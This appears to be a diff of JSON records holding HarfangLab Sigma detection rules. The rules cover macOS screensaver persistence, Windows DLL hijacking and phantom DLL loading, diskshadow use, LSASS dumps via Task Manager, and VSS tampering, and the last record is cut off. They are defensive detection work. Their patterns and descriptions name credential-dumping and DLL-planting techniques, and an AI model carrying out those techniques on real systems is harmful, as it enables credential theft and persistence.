+  "content": "title: Suspicious Process Execution via ScreenSaverEngine\nid: 7793d0ef-0704-4067-8070-87daf4186792\ndescription: |\n    Detects the execution of a suspicious process by the screen saver engine.\n    ScreenSaverEngine can be manipulated by adversaries to execute arbitrary commands when the screensaver is activated.\n    It is recommended to check the legitimacy of the process by analyzing the process behavior.\nreferences:\n    - https://posts.specterops.io/saving-your-access-d562bf5bf90b\n    - https://attack.mitre.org/techniques/T1546/002/\ndate: 2024/07/23\nmodified: 2025/01/28\nauthor: HarfangLab\ntags:\n    - attack.persistence\n    - attack.t1546.002\n    - classification.macOS.Source.ProcessCreation\n    - classification.macOS.Behavior.Persistence\nlogsource:\n    product: macos\n    category: process_creation\ndetection:\n    selection:\n        ProcessParentImage|endswith: '\\ScreenSaverEngine'\n    condition: selection\nlevel: high\nconfidence: strong",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "7793d0ef-0704-4067-8070-87daf4186792",
+  "rule_name": "Suspicious Process Execution via ScreenSaverEngine",
+  "rule_description": "Detects the execution of a suspicious process by the screen saver engine.\nScreenSaverEngine can be manipulated by adversaries to execute arbitrary commands when the screensaver is activated.\nIt is recommended to check the legitimacy of the process by analyzing the process behavior.\n",
+  "rule_creation_date": "2024-07-23",
+  "rule_modified_date": "2025-01-28",
+  "rule_os": "macos",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.persistence"
+  ],
+  "rule_technique_tags": [
+    "attack.t1546.002"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "7795856c-9d2d-4fdb-be8d-b49f4200f515",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.593182Z",
+  "creation_date": "2026-03-23T11:45:34.593185Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.593193Z",
+  "rule_level": "high",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://securityintelligence.com/posts/windows-features-dll-sideloading/",
+    "https://github.com/xforcered/WFH",
+    "https://attack.mitre.org/techniques/T1574/001/"
+  ],
+  "name": "t1574_001_dll_hijacking_agentactivationruntimestarter.yml",
+  "content": "title: DLL Hijacking via agentactivationruntimestarter.exe\nid: 7795856c-9d2d-4fdb-be8d-b49f4200f515\ndescription: |\n    Detects potential Windows DLL Hijacking via agentactivationruntimestarter.exe.\n    DLL hijacking takes advantage of the default Windows search order by positioning both a victim application and a malicious DLL alongside each other.\n    Attackers used this technique by copying a legitimate executable and planting the malicious DLL within the same folder.\n    It is recommended to investigate the loaded library for malicious content and the behavior of the loading process to identify any suspicious activity.\nreferences:\n    - https://securityintelligence.com/posts/windows-features-dll-sideloading/\n    - https://github.com/xforcered/WFH\n    - https://attack.mitre.org/techniques/T1574/001/\ndate: 2022/09/15\nmodified: 2025/07/11\nauthor: HarfangLab\ntags:\n    - attack.defense_evasion\n    - attack.persistence\n    - attack.privilege_escalation\n    - attack.t1574.001\n    - classification.Windows.Source.LibraryLoaded\n    - classification.Windows.Behavior.DLLHijacking\n    - classification.Windows.Behavior.DefenseEvasion\nlogsource:\n    product: windows\n    category: library_event\ndetection:\n    selection:\n        ProcessOriginalFileName: 'agentactivationruntimestarter.exe'\n        ProcessSignature: 'Microsoft Windows'\n        ImageLoaded|endswith: '\\msvcp110_win.dll'\n    filter_legitimate_image:\n        Image|startswith:\n            - '?:\\Windows\\SysWOW64\\'\n            - '?:\\Windows\\System32\\'\n            - '?:\\Windows\\WinSxS\\'\n    filter_legitimate_imageloaded:\n        ImageLoaded|startswith:\n            - '?:\\Windows\\SysWOW64\\'\n            - '?:\\Windows\\System32\\'\n            - '?:\\Windows\\WinSxS\\'\n    filter_signature_imageloaded:\n        Signed: 'true'\n        Signature: 'Microsoft Windows'\n    condition: selection and not 1 of filter_*\nlevel: high\nconfidence: strong\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "7795856c-9d2d-4fdb-be8d-b49f4200f515",
+  "rule_name": "DLL Hijacking via agentactivationruntimestarter.exe",
+  "rule_description": "Detects potential Windows DLL Hijacking via agentactivationruntimestarter.exe.\nDLL hijacking takes advantage of the default Windows search order by positioning both a victim application and a malicious DLL alongside each other.\nAttackers used this technique by copying a legitimate executable and planting the malicious DLL within the same folder.\nIt is recommended to investigate the loaded library for malicious content and the behavior of the loading process to identify any suspicious activity.\n",
+  "rule_creation_date": "2022-09-15",
+  "rule_modified_date": "2025-07-11",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.defense_evasion",
+    "attack.persistence",
+    "attack.privilege_escalation"
+  ],
+  "rule_technique_tags": [
+    "attack.t1574.001"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "77fd5223-a8d4-4a30-9c54-4ef3605b960b",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.072331Z",
+  "creation_date": "2026-03-23T11:45:34.072334Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.072338Z",
+  "rule_level": "high",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://attack.mitre.org/techniques/T1574/001/"
+  ],
+  "name": "t1574_001_explorer_suspicious_dll.yml",
+  "content": "title: Phantom DLL Hijacking via explorer.exe\nid: 77fd5223-a8d4-4a30-9c54-4ef3605b960b\ndescription: |\n    Detects a suspicious DLL loaded by the explorer process from the Windows root folder.\n    Everytime explorer.exe is started, non-existing DLL files are loaded from the Windows root folder.\n    Adversaries may execute their own malicious payloads by planting a DLL in \"C:\\Windows\" path to exploit the Windows DLL search order.\n    It is recommended to investigate the behavior of the loading process to identify any suspicious activities.\nreferences:\n    - https://attack.mitre.org/techniques/T1574/001/\ndate: 2024/07/23\nmodified: 2025/04/08\nauthor: HarfangLab\ntags:\n    - attack.persistence\n    - attack.privilege_escalation\n    - attack.defense_evasion\n    - attack.t1574.001\n    - classification.Windows.Source.LibraryLoaded\n    - classification.Windows.Behavior.PrivilegeEscalation\n    - classification.Windows.Behavior.Persistence\n    - classification.Windows.Behavior.DLLHijacking\nlogsource:\n    product: windows\n    category: library_event\ndetection:\n    selection:\n        ImageLoaded|endswith:\n            - '?:\\Windows\\AEPIC.dll'\n            - '?:\\Windows\\apphelp.dll'\n            - '?:\\Windows\\CoreMessaging.dll'\n            - '?:\\Windows\\dwmapi.dll'\n            - '?:\\Windows\\dxgi.dll'\n            - '?:\\Windows\\edputil.dll'\n            - '?:\\Windows\\iertutil.dll'\n            - '?:\\Windows\\imageres.dll'\n            - '?:\\Windows\\IPHLPAPI.DLL'\n            - '?:\\Windows\\MsftEdit.dll'\n            - '?:\\Windows\\netutils.dll'\n            - '?:\\Windows\\profapi.dll'\n            - '?:\\Windows\\PROPSYS.dll'\n            - '?:\\Windows\\shell32.dll'\n            - '?:\\Windows\\srvcli.dll'\n            - '?:\\Windows\\SspiCli.dll'\n            - '?:\\Windows\\TWINAPI.dll'\n            - '?:\\Windows\\UMPDC.dll'\n            - '?:\\Windows\\urlmon.dll'\n            - '?:\\Windows\\USERENV.dll'\n            - '?:\\Windows\\UxTheme.dll'\n            - '?:\\Windows\\WININET.dll'\n            - '?:\\Windows\\Wldp.dll'\n            - '?:\\Windows\\WTSAPI32.dll'\n        Image|endswith: '\\explorer.exe'\n\n    exclusion_explorerpatcher:\n        Product: 'ExplorerPatcher'\n        Company: 'VALINET Solutions SRL'\n        ImageLoaded: '?:\\windows\\dxgi.dll'\n\n    condition: selection and not 1 of exclusion_*\nlevel: high\nconfidence: strong\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "77fd5223-a8d4-4a30-9c54-4ef3605b960b",
+  "rule_name": "Phantom DLL Hijacking via explorer.exe",
+  "rule_description": "Detects a suspicious DLL loaded by the explorer process from the Windows root folder.\nEverytime explorer.exe is started, non-existing DLL files are loaded from the Windows root folder.\nAdversaries may execute their own malicious payloads by planting a DLL in \"C:\\Windows\" path to exploit the Windows DLL search order.\nIt is recommended to investigate the behavior of the loading process to identify any suspicious activities.\n",
+  "rule_creation_date": "2024-07-23",
+  "rule_modified_date": "2025-04-08",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.defense_evasion",
+    "attack.persistence",
+    "attack.privilege_escalation"
+  ],
+  "rule_technique_tags": [
+    "attack.t1574.001"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "782084c7-cf6b-427b-9e05-3eee21b76269",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "medium",
+  "rule_effective_confidence": "moderate",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.079242Z",
+  "creation_date": "2026-03-23T11:45:34.079244Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.079249Z",
+  "rule_level": "medium",
+  "rule_confidence": "moderate",
+  "rule_confidence_override": null,
+  "references": [
+    "https://thedfirreport.com/2024/08/12/threat-actors-toolkit-leveraging-sliver-poshc2-batch-scripts/",
+    "https://attack.mitre.org/techniques/T1490/"
+  ],
+  "name": "t1490_diskshadow_program_called.yml",
+  "content": "title: Diskshadow Program Execution\nid: 782084c7-cf6b-427b-9e05-3eee21b76269\ndescription: |\n    Detects the execution of diskshadow.exe, a tool used to manage Volume Shadow Service (VSS) shadow copies.\n    This can be used maliciously by threat actors or ransomware to create or delete shadow copies, potentially as a precursor to data encryption or destruction.\n    It is recommended to investigate the process initiating diskshadow.exe and check for unauthorized changes to shadow copy settings.\n    If this is part of a backup script and recurring on your environment, it is highly recommended to whitelist the concerned processes.\nreferences:\n    - https://thedfirreport.com/2024/08/12/threat-actors-toolkit-leveraging-sliver-poshc2-batch-scripts/\n    - https://attack.mitre.org/techniques/T1490/\ndate: 2020/09/28\nmodified: 2025/09/23\nauthor: HarfangLab\ntags:\n    - attack.defense_evasion\n    - attack.t1490\n    - classification.Windows.Source.ProcessCreation\n    - classification.Windows.LOLBin.Diskshadow\n    - classification.Windows.Behavior.Deletion\n    - classification.Windows.Behavior.VolumeShadowCopy\nlogsource:\n    category: process_creation\n    product: windows\ndetection:\n    selection:\n        - Image|endswith: '\\diskshadow.exe'\n        # renamed binaries\n        - OriginalFileName: 'diskshadow.exe'\n\n    exclusion_commvault:\n        # diskshadow -l \"C:\\Program Files\\Commvault\\ContentStore\\iDataAgent\\FileSystemAgent\\OneTouch\\535781\\DiskshadowOutputSource.txt\" -s \"C:\\Program Files\\Commvault\\ContentStore\\iDataAgent\\FileSystemAgent\\OneTouch\\535781\\DiskshadowScript.txt\"\n        # diskshadow -l \"C:\\Program Files\\Commvault\\ContentStore2\\iDataAgent\\FileSystemAgent\\OneTouch\\558744\\DiskshadowOutputSource.txt\" -s \"C:\\Program Files\\Commvault\\ContentStore2\\iDataAgent\\FileSystemAgent\\OneTouch\\558744\\DiskshadowScript.txt\"\n        # E:\\CommVault\\Simpana\\iDataAgent\\FileSystemAgent\\OneTouch\\1188660\\DiskshadowOutputSource.txt\"\"\n        # note the ContentStore and ContentStore2 ...\n        CommandLine|contains:\n            - ':\\Program Files\\Commvault\\ContentStore*\\iDataAgent\\FileSystemAgent*DiskshadowOutputSource*DiskshadowScript'\n            - '\\CommVault\\Simpana\\iDataAgent\\FileSystemAgent\\\\*\\DiskshadowOutputSource.txt'\n\n    exclusion_programfiles:\n        ProcessParentImage|startswith:\n            - '?:\\Program Files\\'\n            - '?:\\Program Files (x86)\\'\n\n    condition: selection and not 1 of exclusion_*\nlevel: medium\nconfidence: moderate\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "782084c7-cf6b-427b-9e05-3eee21b76269",
+  "rule_name": "Diskshadow Program Execution",
+  "rule_description": "Detects the execution of diskshadow.exe, a tool used to manage Volume Shadow Service (VSS) shadow copies.\nThis can be used maliciously by threat actors or ransomware to create or delete shadow copies, potentially as a precursor to data encryption or destruction.\nIt is recommended to investigate the process initiating diskshadow.exe and check for unauthorized changes to shadow copy settings.\nIf this is part of a backup script and recurring on your environment, it is highly recommended to whitelist the concerned processes.\n",
+  "rule_creation_date": "2020-09-28",
+  "rule_modified_date": "2025-09-23",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.defense_evasion"
+  ],
+  "rule_technique_tags": [
+    "attack.t1490"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "78397a73-7ba5-4e02-8847-6a3242d29f28",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.078198Z",
+  "creation_date": "2026-03-23T11:45:34.078200Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.078204Z",
+  "rule_level": "high",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://attack.mitre.org/techniques/T1003/001/",
+    "https://www.oreilly.com/library/view/advanced-infrastructure-penetration/9781788624480/c54099a7-b74b-4130-9c8b-9aba41d42fb5.xhtml",
+    "https://www.deepinstinct.com/blog/lsass-memory-dumps-are-stealthier-than-ever-before"
+  ],
+  "name": "t1003_001_lsass_memory_dump_with_taskmgr.yml",
+  "content": "title: LSASS Process Memory Dumped via taskmgr.exe\nid: 78397a73-7ba5-4e02-8847-6a3242d29f28\ndescription: |\n    Detects an attempt to dump the LSASS' process memory using taskmgr.\n    Adversaries may attempt to access credential material stored in the process memory of the Local Security Authority Subsystem Service (LSASS).\n    These credential materials can be harvested by an administrative user or SYSTEM and used to conduct Lateral Movement or Privilege Escalation.\n    It is recommended to analyze the user session for suspicious activities, investigate any further malicious actions on the host and to start memory forensics to determine stolen credentials.\nreferences:\n    - https://attack.mitre.org/techniques/T1003/001/\n    - https://www.oreilly.com/library/view/advanced-infrastructure-penetration/9781788624480/c54099a7-b74b-4130-9c8b-9aba41d42fb5.xhtml\n    - https://www.deepinstinct.com/blog/lsass-memory-dumps-are-stealthier-than-ever-before\ndate: 2021/04/30\nmodified: 2025/02/07\nauthor: HarfangLab\ntags:\n    - attack.credential_access\n    - attack.t1003.001\n    - classification.Windows.Source.Filesystem\n    - classification.Windows.Behavior.LSASSAccess\n    - classification.Windows.Behavior.CredentialAccess\nlogsource:\n    product: windows\n    category: filesystem_create\ndetection:\n    selection:\n      Image|endswith: '\\Taskmgr.exe'\n      Path|endswith: '\\lsass*.DMP'\n\n    condition: selection\nlevel: high\nconfidence: strong",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "78397a73-7ba5-4e02-8847-6a3242d29f28",
+  "rule_name": "LSASS Process Memory Dumped via taskmgr.exe",
+  "rule_description": "Detects an attempt to dump the LSASS' process memory using taskmgr.\nAdversaries may attempt to access credential material stored in the process memory of the Local Security Authority Subsystem Service (LSASS).\nThese credential materials can be harvested by an administrative user or SYSTEM and used to conduct Lateral Movement or Privilege Escalation.\nIt is recommended to analyze the user session for suspicious activities, investigate any further malicious actions on the host and to start memory forensics to determine stolen credentials.\n",
+  "rule_creation_date": "2021-04-30",
+  "rule_modified_date": "2025-02-07",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.credential_access"
+  ],
+  "rule_technique_tags": [
+    "attack.t1003.001"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "7844c8c3-e241-4242-8895-60841cc6f2b3",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.090116Z",
+  "creation_date": "2026-03-23T11:45:34.090118Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.090122Z",
+  "rule_level": "high",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://www.wietzebeukema.nl/blog/hijacking-dlls-in-windows",
+    "https://github.com/xforcered/WFH",
+    "https://redcanary.com/blog/hijack-my-hijack-my-hijack-my-dll/",
+    "https://attack.mitre.org/techniques/T1574/001/"
+  ],
+  "name": "t1574_001_dll_hijacking_rmactivate_isv.yml",
+  "content": "title: DLL Hijacking via rmactivate_isv.exe\nid: 7844c8c3-e241-4242-8895-60841cc6f2b3\ndescription: |\n    Detects potential Windows DLL Hijacking via rmactivate_isv.exe.\n    DLL hijacking takes advantage of the default Windows search order by positioning both a victim application and a malicious DLL alongside each other.\n    Attackers used this technique by copying legitimate Windows signed executable from System32 or SysWow64 to a non-standard directory and plant the malicious DLL within the same folder.\n    It is recommended to investigate the loaded library for malicious content and the behavior of the loading process to identify any suspicious activity.\nreferences:\n    - https://www.wietzebeukema.nl/blog/hijacking-dlls-in-windows\n    - https://github.com/xforcered/WFH\n    - https://redcanary.com/blog/hijack-my-hijack-my-hijack-my-dll/\n    - https://attack.mitre.org/techniques/T1574/001/\ndate: 2021/12/10\nmodified: 2025/07/11\nauthor: HarfangLab\ntags:\n    - attack.defense_evasion\n    - attack.persistence\n    - attack.privilege_escalation\n    - attack.t1574.001\n    - classification.Windows.Source.LibraryLoaded\n    - classification.Windows.Behavior.DLLHijacking\n    - classification.Windows.Behavior.DefenseEvasion\nlogsource:\n    product: windows\n    category: library_event\ndetection:\n    selection:\n        ProcessOriginalFileName: 'rmactivate_isv.exe'\n        ProcessSignature: 'Microsoft Windows'\n        ImageLoaded|endswith:\n            - '\\cryptsp.dll'\n            - '\\msdrm.dll'\n    filter_legitimate_image:\n        Image|startswith:\n            - '?:\\Windows\\System32\\'\n            - '?:\\Windows\\SysWOW64\\'\n            - '?:\\Windows\\WinSxS\\'\n    filter_legitimate_imageloaded:\n        ImageLoaded|startswith:\n            - '?:\\Windows\\System32\\'\n            - '?:\\Windows\\SysWOW64\\'\n            - '?:\\Windows\\WinSxS\\'\n    filter_signature_imageloaded:\n        Signed: 'true'\n        Signature: 'Microsoft Windows'\n    condition: selection and not 1 of filter_*\nlevel: high\nconfidence: strong\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "7844c8c3-e241-4242-8895-60841cc6f2b3",
+  "rule_name": "DLL Hijacking via rmactivate_isv.exe",
+  "rule_description": "Detects potential Windows DLL Hijacking via rmactivate_isv.exe.\nDLL hijacking takes advantage of the default Windows search order by positioning both a victim application and a malicious DLL alongside each other.\nAttackers used this technique by copying legitimate Windows signed executable from System32 or SysWow64 to a non-standard directory and plant the malicious DLL within the same folder.\nIt is recommended to investigate the loaded library for malicious content and the behavior of the loading process to identify any suspicious activity.\n",
+  "rule_creation_date": "2021-12-10",
+  "rule_modified_date": "2025-07-11",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.defense_evasion",
+    "attack.persistence",
+    "attack.privilege_escalation"
+  ],
+  "rule_technique_tags": [
+    "attack.t1574.001"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "784b1d19-3290-4508-abce-87295ed4de1a",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.086932Z",
+  "creation_date": "2026-03-23T11:45:34.086935Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.086942Z",
+  "rule_level": "high",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://attack.mitre.org/techniques/T1490/"
+  ],
+  "name": "t1490_vss_com_loaded_unsigned_process.yml",
+  "content": "title: VSS COM Object DLL Loaded by Unsigned Process\nid: 784b1d19-3290-4508-abce-87295ed4de1a\ndescription: |\n    Detects when the VSS COM Object DLL (vss_ps.dll) is loaded by an unsigned process.\n    This could be the sign of a possible attempt by an attacker to delete Volume Shadow Copies.\n    Volume Shadow Copies (VSS) are partial copy-on-write clones of the filesystem that can be used as restoration points when a system is corrupted or encrypted by a ransomware.\n    It is recommended to analyze the process loading the DLL and to look for signs of ransomware-related activities on the host.\nreferences:\n    - https://attack.mitre.org/techniques/T1490/\ndate: 2021/08/03\nmodified: 2025/11/10\nauthor: HarfangLab\ntags:\n    - attack.defense_evasion\n    - attack.t1490\n    - classification.Windows.Source.LibraryLoaded\n    - classification.Windows.Behavior.DefenseEvasion\n    - classification.Windows.Behavior.ImpairDefenses\n    - classification.Windows.Behavior.VolumeShadowCopy\nlogsource:\n    product: windows\n    category: library_event\ndetection:\n    selection:\n        OriginalFileName: 'VSS_PS.DLL'\n        Signed: 'true'\n\n    exclusion_process_signed:\n        ProcessSigned: 'true'\n\n    exclusion_error:\n        # if we cannot read info about the file, imphash will be full of 0\n        ProcessImphash: '00000000000000000000000000000000'\n        ProcessSize: -1\n\n    exclusion_programfiles:\n        ProcessImage|startswith:\n            - '?:\\Program Files\\'\n            - '?:\\Program Files (x86)\\'\n\n    exclusion_image:\n        ProcessImage:\n            - '?:\\Windows\\System32\\vssadmin.exe'\n            - '?:\\Windows\\System32\\SrTasks.exe'\n            - '?:\\Windows\\System32\\diskshadow.exe'\n            - '?:\\$WINDOWS.~BT\\Sources\\SetupHost.exe'\n            - '?:\\Windows\\System32\\dllhost.exe'\n            - '?:\\NTNX\\ERA_BASE\\era_engine\\stack\\windows\\vss\\vss-agent\\EraVssHwProvider.exe'\n            - '?:\\NTNX\\ERA_BASE\\era_engine\\stack\\windows\\vss\\vss-agent\\era_vss_requestor.exe'\n\n    exclusion_svchost:\n        ProcessImage: '?:\\Windows\\system32\\svchost.exe'\n        ProcessParentImage: '?:\\Windows\\System32\\services.exe'\n\n    exclusion_dfir_orc:\n        ProcessDescription: 'DFIR-ORC Utility'\n        ProcessOriginalFileName: 'DFIR-ORC'\n\n    exclusion_searchindexer:\n        ProcessImage: '?:\\Windows\\System32\\SearchIndexer.exe'\n        ProcessParentImage: '?:\\Windows\\System32\\services.exe'\n\n    exclusion_werfault:\n        ProcessImage: '?:\\Windows\\System32\\WerFault.exe'\n        ProcessParentCommandLine: '?:\\Windows\\System32\\svchost.exe -k WerSvcGroup'\n\n    exclusion_srtasks1:\n        ProcessImage: '?:\\Windows\\System32\\SrTasks.exe'\n        ProcessDescription: 'Microsoft® Windows System Protection background tasks.'\n        ProcessOriginalFileName: 'srtasks.exe'\n    exclusion_srtasks2:\n        ProcessCommandLine: '?:\\WINDOWS\\system32\\srtasks.exe ExecuteScheduledSPPCreation'\n        ProcessParentImage: '?:\\Windows\\System32\\svchost.exe'\n\n    # System Restore Restore Operation Library\n    exclusion_srrstr:\n        ProcessImage: '?:\\Windows\\System32\\rundll32.exe'\n        ProcessCommandLine: '?:\\windows\\system32\\rundll32.exe /d srrstr.dll,ExecuteScheduledSPPCreation'\n\n    exclusion_cobian:\n        ProcessImage|endswith:\n            - '\\Cobian Backup 1?\\cbVSCService1?.exe'\n            - '\\Cobian Backup ??\\cbVSCService.exe'\n            - '\\CobianBackup\\cbVSCService1?.exe'\n            - '\\CobianBackup\\cbVSCService.exe'\n\n    exclusion_vssvc:\n        ProcessImage: '?:\\Windows\\System32\\VSSVC.exe'\n\n    exclusion_forensit:\n        ProcessParentImage: '?:\\ProgramData\\ForensiT\\Transwiz\\Deployment Files\\Transwiz.exe'\n        ProcessImage: '?:\\Windows\\System32\\profhlp.exe'\n\n    exclusion_dismhost:\n        ProcessImage:\n            # C:\\$WinREAgent\\Scratch\\7DB77FBA-2B90-4075-9F39-1861805CCDF9\\DismHost.exe\n            - '?:\\\\?WinREAgent\\Scratch\\\\????????-????-????-????-????????????\\DismHost.exe'\n            # C:\\$WINDOWS.~BT\\Work\\5F70CACE-38E3-45F7-A063-2BA837DE87EF\\DismHost.exe\n            - '?:\\\\?WINDOWS.?BT\\Work\\\\????????-????-????-????-????????????\\DismHost.exe'\n\n    exclusion_office2016_install:\n        ProcessDescription: 'Microsoft Setup Bootstrapper'\n        ProcessOriginalFileName: 'setup.exe'\n        ProcessProduct: 'Microsoft Setup Bootstrapper'\n        ProcessCompany: 'Microsoft Corporation'\n\n    exclusion_ms_iaasbcdrextension:\n        ProcessInternalName: 'IaaSBcdrExtension.exe'\n        ProcessProduct: 'Microsoft® Azure Backup'\n        ProcessDescription: 'IaaSBcdrExtension'\n\n    exclusion_profhlp:\n        ProcessImage: '?:\\Windows\\System32\\profhlp.exe'\n        ProcessDescription: 'User Profile Migration Helper'\n        ProcessCompany: 'ForensiT'\n\n    exclusion_veeam_guesthelper:\n        ProcessImage: '?:\\windows\\VeeamVssSupport\\VeeamGuestHelper.exe'\n        ProcessCompany: 'Veeam Software Group GmbH'\n\n    